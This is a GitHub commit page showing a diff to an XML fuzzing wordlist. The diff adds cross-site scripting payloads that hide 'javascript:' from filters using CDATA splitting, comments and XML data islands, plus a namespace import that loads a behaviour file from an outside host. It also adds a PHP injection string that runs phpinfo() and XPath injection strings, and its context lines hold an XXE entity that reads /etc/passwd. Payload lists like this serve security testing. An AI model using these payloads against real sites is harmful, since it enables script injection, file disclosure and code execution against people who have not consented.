Update XML_FUZZ

Adding some payloads
aburan28 · Nov 19, 2014 · 3570ebc · 3570ebc
1 parent 9e5c7ad
commit 3570ebc
Showing 1 changed file with 7 additions and 0 deletions.
diff --git a/Fuzzing/XML_FUZZ b/Fuzzing/XML_FUZZ
@@ -11,6 +11,11 @@
 ]>
 <!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///etc/passwd">
 ]>
+"<xml ID=I><X><C><![CDATA[<IMG SRC=""javas]]><![CDATA[cript:alert('XSS');"">]]>"
+"<xml ID=""xss""><I><B><IMG SRC=""javas<!-- -->cript:alert('XSS')""></B></I></xml><SPAN DATASRC=""#xss"" DATAFLD=""B"" DATAFORMATAS=""HTML""></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
+"<xml SRC=""xsstest.xml"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
+"<HTML xmlns:xss><?import namespace=""xss"" implementation=""http://ha.ckers.org/xss.htc""><xss:xss>XSS</xss:xss></HTML>"
+<name>','')); phpinfo(); exit;/*</name>
 
 
 ## Element and Attrib Values
@@ -48,3 +53,5 @@ false
 {{Tnn96}}
 {= Tnn96}
 {{= Tnn96}}
+count(/child::node())
+x' or name()='username' or 'x'='y